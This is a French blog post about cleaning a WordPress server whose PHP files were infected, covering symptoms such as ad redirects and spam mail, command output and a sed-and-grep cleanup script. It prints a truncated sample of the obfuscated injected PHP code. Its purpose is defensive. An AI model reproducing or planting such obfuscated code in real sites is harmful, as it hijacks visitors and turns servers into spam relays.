L’infection

Comme beaucoup ces derniers mois, nous avons été victimes d’une infection des fichiers PHP sur nos sites WEB.

Symptômes:

  • Sites web fonctionnent au ralenti.
  • Visiteurs des sites sont renvoyés vers des sites publicitaires.
  • En regardant sur le serveur, on voit que tous les scripts php ont fortement augmentés de taille: Exemple:
root@server01:/var/www/monsite# ls -l ./wp-content/plugins/akismet/views/
 total 92
 -rw-r--r-- 1 www-data www-data 21678 oct.  13 18:04 config.php
 -rw-r--r-- 1 www-data www-data   22506 oct.  13 18:04 get.php
 -rw-r--r-- 1 www-data www-data 23126 oct.  13 18:04 notice.php
 -rw-r--r-- 1 www-data www-data  6489 oct.  13 18:04 start.php
 -rw-r--r-- 1 www-data www-data 13764 oct.  13 18:04 stats.php
 -rw-r--r-- 1 www-data www-data 14043 oct.  13 18:04 strict.php
 root@server01:/var/www/mywebsite#

Et si on regarde un des fichiers PHP, ça ressemble à ça:

root@server01:/var/www/monsite# more ./wp-content/plugins/akismet/views/config.php
 <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\1
 66\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $guyuqbedgc = 'x5c%x7824)#P#-#Q#-#B#c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%j}l;33bq}k;o
 pjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**ux5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x787827id%x5c%x78256<%x5c%x787fw6*%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~c%x7825hOh%x5c%x782
 f#00#W~!%x5c%x7825t2w)##Qtjw)#]85!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%xusbut%x5c%x7860cpV%x5c%x7!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg
 %x5c%x:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnp5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]25tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x782%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f
 %x5c%x7827,*e%x5x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]28x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>5c%x7825!*72!%x5c%x
 7827if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x5c%x7825):fmji%x5c%x7878:mqnjA%x5c%x7827&6<.fmjgj
etc..

D’une manière générale, toutes les premières lignes des fichiers PHP sont corrompues.

Autre symptôme: Votre serveur envoie des Emails publicitaires un peu partout dans le monde. Vous pouvez voir qu’il communique en SMTP (port TCP 25) avec un peu tout le monde:

root@server01:/var/www# netstat -n
 Connexions Internet actives (sans serveurs)
 Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat
 tcp        0      7 92.243.7.35:52839       64.12.91.195:25         LAST_ACK
 tcp        0    155 127.0.0.1:3306          127.0.0.1:53194         ESTABLISHED
 tcp        0     52 92.243.7.35:1664        90.83.132.173:41078     ESTABLISHED
 tcp        0      1 92.243.7.35:43270       207.46.31.61:25         SYN_SENT
 tcp        0      0 127.0.0.1:53194         127.0.0.1:3306          ESTABLISHED
 tcp        0      7 92.243.7.35:47400       64.12.88.132:25         LAST_ACK
 tcp6       0      0 92.243.7.35:80          90.83.132.173:59931     FIN_WAIT2
 tcp6       0      0 92.243.7.35:80          90.83.132.173:57996     FIN_WAIT2
 tcp6       0   8838 92.243.7.35:80          50.63.196.153:34683     ESTABLISHED
 tcp6       0      0 92.243.7.35:80          90.83.132.173:59103     FIN_WAIT2
 tcp6       0      0 92.243.7.35:80          90.83.132.173:41132     FIN_WAIT2
 Sockets du domaine UNIX actives(sans serveurs)
 Proto RefCnt Flags       Type       State         I-Node   Chemin
 unix  5      [ ]         DGRAM                    3520     /dev/log
 unix  2      [ ]         DGRAM                    4596543
 unix  3      [ ]         STREAM     CONNECTE      4596515
 unix  3      [ ]         STREAM     CONNECTE      4596514
 unix  2      [ ]         DGRAM                    4596513
 unix  2      [ ]         DGRAM                    4071
 unix  3      [ ]         DGRAM                    458
 unix  3      [ ]         DGRAM                    457
 root@server01:/var/www#

Et si vous regardez dans la file d’attente de exim, ça donne à peu près ça:

root@server01:/var/www# ls -l /var/spool/exim4/input
-rw-r----- 1 Debian-exim Debian-exim  788 oct.  13 15:17 1XdfUk-0000H9-GZ-H
-rw-r----- 1 Debian-exim Debian-exim 1581 oct.  13 15:17 1XdfUu-0000K0-7c-D
-rw-r----- 1 Debian-exim Debian-exim  782 oct.  13 15:17 1XdfUu-0000K0-7c-H
-rw-r----- 1 Debian-exim Debian-exim 1415 oct.  13 15:44 1Xdfv7-00031b-8S-D
-rw-r----- 1 Debian-exim Debian-exim  783 oct.  13 15:44 1Xdfv7-00031b-8S-H
-rw-r----- 1 Debian-exim Debian-exim 1378 oct.  13 15:46 1XdfxQ-00037Q-H2-D
-rw-r----- 1 Debian-exim Debian-exim  783 oct.  13 15:46 1XdfxQ-00037Q-H2-H
-rw-r----- 1 Debian-exim Debian-exim 1415 oct.  13 15:46 1XdfxS-00037Y-1w-D
-rw-r----- 1 Debian-exim Debian-exim  789 oct.  13 15:46 1XdfxS-00037Y-1w-H
-rw-r----- 1 Debian-exim Debian-exim 1372 oct.  13 15:50 1Xdg0s-0003FS-QW-D
-rw-r----- 1 Debian-exim Debian-exim  778 oct.  13 15:50 1Xdg0s-0003FS-QW-H
-rw-r----- 1 Debian-exim Debian-exim 1423 oct.  13 15:50 1Xdg1Z-0003Vu-49-D
-rw-r----- 1 Debian-exim Debian-exim  788 oct.  13 15:50 1Xdg1Z-0003Vu-49-H
.....
-rw-r----- 1 Debian-exim Debian-exim 1407 oct.  13 15:56 1Xdg6m-0003ey-1l-D
-rw-r----- 1 Debian-exim Debian-exim  773 oct.  13 15:56 1Xdg6m-0003ey-1l-H
-rw-r----- 1 Debian-exim Debian-exim 1397 oct.  13 15:58 1Xdg8x-0003iA-Kq-D
-rw-r----- 1 Debian-exim Debian-exim  783 oct.  13 15:58 1Xdg8x-0003iA-Kq-H
-rw-r----- 1 Debian-exim Debian-exim 1418 oct.  13 16:17 1XdgQm-0004Gk-GN-D
-rw-r----- 1 Debian-exim Debian-exim  787 oct.  13 16:17 1XdgQm-0004Gk-GN-H
root@server01:/var/www#

Vous pouvez déjà supprimer tous ces Emails bidons (spams, pourriels) en attente:

root@server01:/var/www# rm  /var/spool/exim4/input/*
root@server01:/var/www#

La désinfection

Attention ! Avant de commencer à tripatouiller les fichiers, faites une sauvegarde de votre dossier.

Exemple:

root@server01:/var/www# cp -Pr monsite monsite.sos
root@server01:/var/www#

Pour nettoyer, on peut créer un script comme ça:

# Conversion des fichiers DOS2UNIX
find . -type f -print0 | xargs -0 dos2unix
# Remplacement sur la 1ère ligne de <?php_quelquechosedepasnet_<?php par <?php
find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<?php$/<?php/' 2>&1
# Même chose mais s'il y a un espace à la fin de php
find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<?php $/<?php/' 2>&1
# Remplacement sur la 1ère ligne de <?php_quelquechosedepasnet_<html> par <html>
find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<html>$/<html>/' 2>&1
# Remplacement sur la 1ère ligne de <?php_quelquechosedepasnet_<tr> par <tr>
find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<tr>$/<tr>/' 2>&1

 

Après avoir lancé le script, il restera sûrement quelques fichiers PHP infectés, car ils ont une première ligne spéciale.

Pour les débusquer, utiliser la commande suivante:

( Exemple, on cherche tous les fichiers PHP qui contiennent « !isset($GLOBALS » )

root@server01:/var/www/monsiteweb# find . -type f -name '*php' -exec grep -l '!isset($GLOBALS' {} \;
./wp-content/plugins/akismet/views/notice.php
./wp-content/plugins/akismet/views/stats.php
./wp-content/plugins/akismet/views/config.php
./wp-content/plugins/akismet/views/strict.php
root@server01:/var/www/monsiteweb#

Puis nettoyer la première ligne « à la main », par exemple avec vi.

Voilà, en espérant que ces quelques infos auront pu vous aider. Laissez nous vos commentaires, et si vous avez besoin d’un coup de main, appelez-nous pour en discuter..

Sur le même sujet : Problème de SPAM sur un site WordPress

 

 

Leave a Reply

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Blue Captcha Image
Refresh

*

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.